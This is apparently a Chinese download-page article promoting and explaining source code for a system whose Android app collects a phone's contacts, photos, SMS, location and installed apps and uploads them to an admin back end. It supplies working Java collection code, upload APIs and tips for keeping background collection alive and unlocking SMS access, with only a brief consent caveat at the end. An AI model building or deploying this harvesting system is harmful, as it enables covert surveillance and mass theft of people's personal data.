简介一份面向移动端数据采集类应用开发者与后端部署人员的最新双端信息系统源码包含安卓与苹果两端完整工程可获取通讯录、相册、短信、定位及已安装应用列表等功能模块。资源整合 FastAdmin 后台框架与 ThinkPHP 后端提供 HBuilder X 打包配置、宝塔面板部署方案、数据库导入说明等材料覆盖从接口联调到系统上线的完整链路。压缩包共 2000 个文件以 JS、HTML、CSS 等前端代码为主辅以 JSON 配置、SQL 数据库脚本及 Shell 部署辅助文件整体大小 38.24MB目录结构便于按功能检索。目前已有 210 人学习下载。适合具备一定 Android/iOS 或 PHP 基础、希望快速搭建移动端信息管理演示项目的开发者参考学习可用于技术研究、功能验证及二次开发练习。1. 双端信息采集系统源码全开源这个标题背后到底是什么项目读到“最新双端获取TXL、相册、短信、定位、已安装APP信息系统源码 全开源”这个标题第一反应是一套移动设备数据采集加管理端展示的完整工程。TXL就是通讯录的拼音缩写连同相册、短信、定位、已安装APP五个维度基本覆盖了移动端用户行为特征的关键数据面。家长监护、企业内部资产管理、司法取证、开发者自测都有这类需求。但要把这套全开源系统落地权限申请、授权告知、数据加密三件事没做扎实越到后面越难收场。这套标题对应的典型形态是“Android采集端 Web管理端”双端架构Android负责权限、查数据、上报Web端负责存储和展示。下面按架构拆解、采集代码、管理端对接、踩坑清单和运维进阶的顺序展开。2. 系统拆解与选型数据模型、双端通信和管理端架构2.1 为什么双端通常是“Android采集端 Web管理端”“双端”常见含义是设备端和服务端而不是Android和iOS双平台。原因在于这套核心数据面——通讯录、短信、已安装APP——在iOS上的读取限制非常严格。iOS的短信没有公开读取API已安装APP列表被归类为私有API上架审核时极大概率被拒绝。所以实务中双端指的是一个装在设备上跑的采集App一个部署在服务器上的管理后台。这种全开源系统的意义在于把采集、上报、展示的完整链路开放给你不依赖闭源SDK你能自己改采集策略、换管理端界面。2.2 通讯录等五类数据的六张核心表设计CREATE TABLE device ( id INTEGER PRIMARY KEY AUTOINCREMENT, device_id TEXT UNIQUE, -- 设备唯一标识 model TEXT, android_version TEXT, first_login_time DATETIME, last_report_time DATETIME ); CREATE TABLE contacts ( id INTEGER PRIMARY KEY AUTOINCREMENT, device_id TEXT, name TEXT, phone TEXT, update_time DATETIME ); CREATE TABLE photos ( id INTEGER PRIMARY KEY AUTOINCREMENT, device_id TEXT, file_name TEXT, file_path TEXT, taken_time DATETIME ); CREATE TABLE sms ( id INTEGER PRIMARY KEY AUTOINCREMENT, device_id TEXT, address TEXT, body TEXT, sms_time DATETIME ); CREATE TABLE location_history ( id INTEGER PRIMARY KEY AUTOINCREMENT, device_id TEXT, lng REAL, lat REAL, source TEXT, -- gps / network report_time DATETIME ); CREATE TABLE installed_apps ( id INTEGER PRIMARY KEY AUTOINCREMENT, device_id TEXT, package_name TEXT, app_name TEXT, version_name TEXT, report_time DATETIME );这些表的字段直接匹配采集端返回的JSON字段避免服务端再做一层字段转换。device_id用Android的ANDROID_ID或自定义UUID即可不要用IMEI做主键——Android 10之后读IMEI需要额外权限且常常被拒稳定性很差。2.3 接口设计六个HTTP接口加一个批量上报通道接口方法参数返回/api/device/registerPOSTdevice_id, model, versiontoken/api/data/contactsPOSTtoken JSON数组成功计数/api/data/photosPOSTtoken JSON数组成功计数/api/data/smsPOSTtoken JSON数组成功计数/api/data/locationPOSTtoken JSON数组成功计数/api/data/appsPOSTtoken JSON数组成功计数采集端把五类数据统一封成JSON数组每条记录带一个client_time字段服务器以client_time为准排序入库而不是用服务器当前时间。这样做的好处是设备离线补传数据时时间线不会乱。token在设备注册时发放后续所有上报接口都要带这是管理端确认设备身份的唯一手段。3. 采集端实现通讯录、相册、短信、定位、已安装APP的代码写法这一章是标题的核心工程面。五个数据维度的采集代码跑通双端系统就立起来了一半。下面按查询方式、权限要点、上报格式逐个写。3.1 通讯录采集ContactsContract的查询与字段映射public ListJSONObject fetchContacts(ContentResolver resolver) { ListJSONObject result new ArrayList(); Cursor cursor null; try { cursor resolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{ ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER, ContactsContract.CommonDataKinds.Phone.CONTACT_ID }, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME ASC); if (cursor ! null) { while (cursor.moveToNext()) { JSONObject obj new JSONObject(); obj.put(name, cursor.getString(0)); obj.put(phone, cursor.getString(1)); obj.put(contact_id, cursor.getString(2)); result.add(obj); } } } catch (SecurityException e) { Log.e(Contacts, 通讯录权限被拒绝, e); } finally { if (cursor ! null) cursor.close(); } return result; }逻辑说明直接用Phone.CONTENT_URI一次查出姓名加号码避免先查联系人再遍历号码的两轮查询。CONTACT_ID保留下来是为了做增量去重。SecurityException必须捕获这样用户手动关闭权限再打开时不会让整个采集线程崩溃。参数说明DISPLAY_NAME ASC让服务端展示默认有序。如果要走增量同步加查CommonDataKinds.Phone.CONTACT_LAST_UPDATED_TIMESTAMP这个字段在Android 8之后才稳定旧版本会返回空。3.2 相册采集MediaStore的增量同步策略public ListJSONObject fetchPhotos(ContentResolver resolver, long lastDateAdded) { ListJSONObject result new ArrayList(); Cursor cursor null; try { cursor resolver.query( MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new String[]{ MediaStore.Images.Media._ID, MediaStore.Images.Media.DISPLAY_NAME, MediaStore.Images.Media.DATA, MediaStore.Images.Media.DATE_ADDED }, MediaStore.Images.Media.DATE_ADDED ?, new String[]{String.valueOf(lastDateAdded)}, MediaStore.Images.Media.DATE_ADDED ASC LIMIT 200); if (cursor ! null) { while (cursor.moveToNext()) { JSONObject obj new JSONObject(); obj.put(id, cursor.getLong(0)); obj.put(name, cursor.getString(1)); obj.put(path, cursor.getString(2)); obj.put(date_added, cursor.getLong(3)); result.add(obj); } } } catch (SecurityException e) { Log.e(Photos, 相册权限被拒绝, e); } finally { if (cursor ! null) cursor.close(); } return result; }逻辑说明相册全量上报时一部手机有成百上千张图片路径网络和内存开销都很大。用DATE_ADDED做增量游标一次200条循环翻页是工程上最常见的做法。权限注意区分Android 13的READ_MEDIA_IMAGES和Android 12及以下的READ_EXTERNAL_STORAGE两套都要在Manifest里声明并做运行时申请。参数说明LIMIT 200是经验值。实测在弱网环境下200条图片路径的JSON体约20-40KB上报时长可接受。如果单条记录里带缩略图Base64这个量级必须砍到50条以内否则设备流量和电池都会快速告急。3.3 短信采集content://sms的权限边界与分页策略public ListJSONObject fetchSms(ContentResolver resolver, long lastId) { ListJSONObject result new ArrayList(); Cursor cursor null; try { Uri uri Uri.parse(content://sms/inbox); // 增量分页只取比上次最大_id新的记录 cursor resolver.query(uri, new String[]{_id, address, body, date}, _id ?, new String[]{String.valueOf(lastId)}, _id ASC LIMIT 500); if (cursor ! null) { while (cursor.moveToNext()) { JSONObject obj new JSONObject(); obj.put(id, cursor.getLong(0)); obj.put(address, cursor.getString(1)); obj.put(body, cursor.getString(2)); obj.put(date, cursor.getLong(3)); result.add(obj); } } } catch (SecurityException e) { Log.e(Sms, 短信权限被拒绝, e); } finally { if (cursor ! null) cursor.close(); } return result; }逻辑说明用“_id 上次最大id LIMIT 500”的增量方式避免每次全量扫短信表。body字段最坏情况下是几MB的单条彩信文本分页是刚需。注意address字段的专业叫法是“发件人号码”服务端展示时不要拿它当联系人姓名。注意Android 4.4之后如果App不是默认短信应用content://sms会被系统屏蔽返回空。部分国产品牌ROM在授权了READ_SMS后还必须额外打开“读取短信/彩信”开关否则查询结果直接为null。这是短信采集翻车率最高的地方。3.4 定位采集GPS与网络定位的优先级和后台保活public JSONObject fetchBestLocation(LocationManager lm) { Location best null; try { if (checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION) PackageManager.PERMISSION_GRANTED) { Location gps lm.getLastKnownLocation(LocationManager.GPS_PROVIDER); Location network lm.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); best pickNewer(gps, network); } } catch (SecurityException e) { Log.e(Location, 定位权限被拒绝, e); } if (best null) return null; JSONObject obj new JSONObject(); obj.put(lng, best.getLongitude()); obj.put(lat, best.getLatitude()); obj.put(source, best.getProvider()); obj.put(time, best.getTime()); return obj; } private Location pickNewer(Location a, Location b) { if (a null) return b; if (b null) return a; return a.getTime() b.getTime() ? a : b; }逻辑说明getLastKnownLocation零延迟但拿到的是缓存值适合分钟级采集。如果标题场景要求实时轨迹就得换requestLocationUpdates注册监听耗电会多一个量级后台被系统限制的可能性也更大。pickNewer按时间戳挑较新的结果避免GPS刚定位到但网络缓存更旧导致点位倒退。参数说明抬手写监听时setInterval建议30000ms、setFastestInterval 10000ms。Android 11之后后台定位必须额外申请ACCESS_BACKGROUND_LOCATION权限这个开关藏在系统设置二级页里采集端要做引导否则一会后台就被杀掉。3.5 已安装APP采集PackageManager的过滤规则public ListJSONObject fetchInstalledApps(PackageManager pm) { ListJSONObject result new ArrayList(); ListPackageInfo packages pm.getInstalledPackages(0); for (PackageInfo pkg : packages) { ApplicationInfo appInfo pkg.applicationInfo; // 过滤系统应用只留用户安装的三方App if ((appInfo.flags ApplicationInfo.FLAG_SYSTEM) ! 0) continue; JSONObject obj new JSONObject(); obj.put(package_name, pkg.packageName); obj.put(app_name, appInfo.loadLabel(pm).toString()); obj.put(version_name, pkg.versionName); result.add(obj); } return result; }逻辑说明FLAG_SYSTEM过滤掉系统自带应用剩下的才是用户真正装的三方App。getInstalledPackages(0)的0表示不额外获取activity信息查询速度更快。管理端如果要展示“某设备是否卸载了某应用”就用同一package_name比对两次上报快照。这个维度在iOS上没有合法实现只能Android采集。4. 管理端展示与数据导出从接口数据到可视化界面采集端把数据报到服务端之后管理端的任务是把数据变成可检索、可筛选、可导出的界面同时处理设备绑定和权限审计。4.1 管理端技术栈选择前后台一体还是前后端分离常见做法是用一个轻量Web框架把接口和后台页面合在一个工程里部署时只跑一个进程。做这类双端信息采集系统很少有团队拆Vue加Spring Cloud成本高且对单机部署不友好。前后台一体的方案一个nginx指向一个服务进程数据库用MySQL或SQLite就能完整承接这类规模的需求。数据库连接池、进程数调优可以做但真正影响系统可用性的是两个点一是管理端登录要有独立强密码策略并支持强制改密二是设备上报接口必须校验token合法性不允许匿名设备灌数据。4.2 位置轨迹展示把location_history变成地图折线// 按设备加载轨迹点 fetch(/api/location/history?device_id deviceId, { headers: { Authorization: Bearer token } }) .then(res res.json()) .then(points { // points [{lng, lat, source, report_time}, ...] const polyline points.map(p [p.lat, p.lng]); map.addLayer({ type: line, source: { type: geojson, data: { type: Feature, properties: {}, geometry: { type: LineString, coordinates: polyline } } }, paint: { line-color: #2563eb, line-width: 3 } }); });逻辑说明这段前端逻辑把后端返回的时间序列坐标点渲染成一条折线。location_history表中的source字段可用于给轨迹着色GPS点标蓝色网络定位点标灰色直观看出定位质量差的区段。注意坐标数组要按report_time升序组织否则折线会乱跳。参数说明如果采集端做了离线补传单个设备可能混有几天前的点前端渲染前要在后端按时间窗口切段否则会出现一条跨城市的“鬼轨迹”。折线宽度3、颜色#2563eb是地图类的常见初始值实际按管理端 UI风格调整即可。4.3 数据导出CSV与Excel的字段对齐问题管理端的导出功能不是把数据库表直接倒出来而是先做字段筛选和脱敏。通讯录导出至少包含name、phone、update_time已安装APP导出包含package_name、app_name、version_name。常见坑是Excel打开CSV时中文乱码解决方法是输出带UTF-8 BOM头的CSV字段值有逗号时统一转义为双引号包裹。import csv def export_contacts(rows, file_path): with open(file_path, w, newline, encodingutf-8-sig) as f: writer csv.writer(f, quotingcsv.QUOTE_MINIMAL) writer.writerow([姓名, 电话, 更新时间]) for row in rows: writer.writerow([row[name], row[phone], row[update_time]])逻辑说明utf-8-sig是带BOM的UTF-8Excel双击打开不会乱码。csv.writer的QUOTE_MINIMAL会对含逗号引号的字段自动加双引号避免通讯录里的公司名被拆列。导出页面里要同时给出按时间范围、按设备型号的筛选条件不然设备量大时导全量数据是灾难。文件名建议按“设备ID_日期区间”生成省得管理端挂多台设备时导出文件互相覆盖。5. 避坑权限、合规与双端联调的5个高频翻车点这类系统最大的特征是敏感权限多、采集链路长翻车点集中在权限申请、后台存活和数据一致性上。5.1 Android后台定位停止刷新现象App在前台能正常出点切到后台十几分钟定位就断。 原因Android 8.0限制后台服务Doze模式会冻结普通App的定位请求Android 11之后还需要ACCESS_BACKGROUND_LOCATION该权限在系统设置里是二级入口默认关闭。 解决把定位采集封装成前台服务在通知栏常驻一条“正在采集位置信息”的通知同时引导用户关闭该应用的电池优化白名单。实测前台服务加白名单双管齐下后台定位能连续跑8小时以上。5.2 content://sms在部分国产ROM上返回空现象权限全部授予但短信查询结果集为null或空。 原因部分品牌ROM对短信数据库做了额外保护即使READ_SMS已授权仍要求应用具备默认短信应用身份或打开“允许读取短信/彩信”的高级开关。 解决采集端上报一个权限状态字段当检测到resolver.query返回null时用Intent跳转到系统短信权限高级设置页并附引导文案。这类问题没有纯代码的优雅解法只能做引导。5.3 iOS端短信和已安装APP列表是硬门槛现象想用同一套代码在iOS上跑通五个数据维度打包上架时被拒绝。 原因iOS没有供普通开发者读取短信库的公开API读取已安装App列表会命中私有API检查。 解决iOS端只实现通讯录、相册和定位短信与已安装APP列为仅Android支持。如果坚持要iOS短信内容可以利用Notification Service Extension在收到新消息时截获文案但历史短信仍然拿不到。5.4 采集端重复上报导致服务端数据膨胀现象管理端通讯录列表出现大量重复联系人同一个号码出现多次。 原因采集端没有维护上报游标每次启动都全量推送。 解决在设备本地SQLite里保存每类数据上次成功上报的最大id或时间戳下次用增量查询。服务端对contacts表建立device_id加phone的唯一索引重复数据直接忽略写入。5.5 管理端弱口令导致数据泄露现象把管理后台用默认账号密码部署在公网几天后被扫描爆破通讯录数据全部泄露。 原因全开源源码项目的默认口令通常写死在代码仓库里攻击者扫描到后台后会先试默认口令。 解决部署后第一件事是改管理端密码关闭公网直连数据库端口上报接口启用TLS加密。敏感字段在数据库里用AES加密存储至少保证被拖库时密文不可直接读。这套系统涉及通讯录、短信、定位等个人信息必须在被采集者知情同意、目的明确的前提下使用否则合规风险远大于技术风险。6. 进阶把采集系统做成可持续运维的稳定服务最后一层怎么让这套全开源双端系统从“能跑演示”变成“能扛三个月”。第一个技巧是采集端用WorkManager做周期任务。WorkManager会结合电量和网络状态决定真正的执行时机比裸开Service省电得多。把通讯录、相册、短信、已安装APP拆成四个周期任务走setPeriodic(6, TimeUnit.HOURS)定位单独走前台服务既保证数据新鲜度又不会在夜间烧干电池。第二个技巧是上报接口统一走“批量JSON加重试队列”。我实际踩过一个坑短信一次上来两万条接口按单条插入MySQL连接直接被拖死。后来改成批量插入一条SQL插500条上报时间从两分钟降到十秒。采集端一次POST最多带500条记录服务端按批次合并入库重试队列就能平滑应对弱网。第三个技巧是把验证做成日常习惯。部署完成后不要只看管理端有没有数据要自己拿一台设备走完整链路静置两小时看后台定位连续性、开飞行模式再关掉看补传是否正常、相册新增一张照片看是否增量上报——这三项是隐藏问题最多的回归点。我自己做过一套类似的设备信息采集系统后台定位和短信权限适配消耗的时间远超预期但恰恰是这些琐碎的地方决定了项目能不能真正用起来。全开源源码帮你省掉从零搭建的时间省不掉的是对权限边界和数据合规的把控。这套双端系统做到“权限透明、数据加密、断点续传”三条底线后续的功能扩展都是在给这个地基添砖。希望这篇拆解能让你少走几步弯路希望帮到你。本文还有配套的精品资源点击获取